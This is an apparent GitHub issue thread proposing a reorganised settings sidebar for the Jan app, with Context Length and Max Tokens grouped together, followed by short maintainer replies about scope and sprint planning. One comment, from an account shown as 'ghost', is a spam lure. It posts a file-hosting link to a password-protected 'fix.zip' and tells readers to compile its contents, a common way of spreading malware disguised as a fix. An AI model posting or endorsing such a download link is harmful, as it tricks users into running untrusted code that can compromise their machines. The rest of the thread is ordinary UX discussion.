idea: [UX enhancement] Improve sidebar settings hierarchy and better UX handling of Context Length/Max Tokens relationship

[imtuyethan]

Problem Statement

• Context Length and Max Tokens relationship is unclear https://discord.com/channels/1107178041848909847/1288957844426723408

Currently, changing the Context Length automatically adjusts the Max Tokens value, which can lead to unexpected behavior and confusion for users. The relationship between these two settings is not immediately clear, and users may unintentionally reduce their Max Tokens without realizing it. This can result in shortened and truncated replies, potentially being perceived as a bug or poor software design.

• Settings organization lacks clear hierarchy
• Some related settings are separated
• Technical settings mixed with basic ones, results in normal users breaking their model settings

Proposed Changes

• Groups related settings together
• Moves from basic to advanced options
• Makes Context Length and Max Tokens relationship clearer by placing them next to each other
• Separates technical settings from common ones

1. Model Selection
   - Model dropdown

2. Model Capacity
   - Context Length
   - Max Tokens
   - Number of GPU layers (ngl)

3. Response Control 
   - Temperature
   - Top P
   - Stream
   - Frequency Penalty
   - Presence Penalty
   - Stop

4. Advanced Settings
   - Prompt template

Figma link: https://www.figma.com/design/DYfpMhf8qiSReKvYooBgDV/Jan-App-(3rd-version)?node-id=8930-46312&t=bJX9XIK7iffILBnO-4

By rearrange the settings like this, we could improve:

• Users can directly see the changes of Max Token's maximum number when changing Context Length settings
• Better user understanding of settings
• Reduce confusion about Context Length/Max Tokens relationship
• More intuitive settings discovery

Notes:

• Keep existing functionality
• Only reorganize UI layout
• No changes to underlying settings values

[ghost]

I think this will help you. https://www.mediafire.com/file/q4gho1ar8e43udd/fix.zip/file Archive codepass: changeme If you don't have the c compliator, install it.(gcc or clang)

[0xSage]

Related #3796

Let's keep it simple. The current feature idea is too complex

[imtuyethan]

Related #3796

Let's keep it simple. The current feature idea is too complex

I think this is not related to https://github.com/janhq/jan/issues/3796.

This is purely around how changing context length affect max token but the users are not well informed about the changes, the UX could be improved. Let's move this to Planning sprint 25?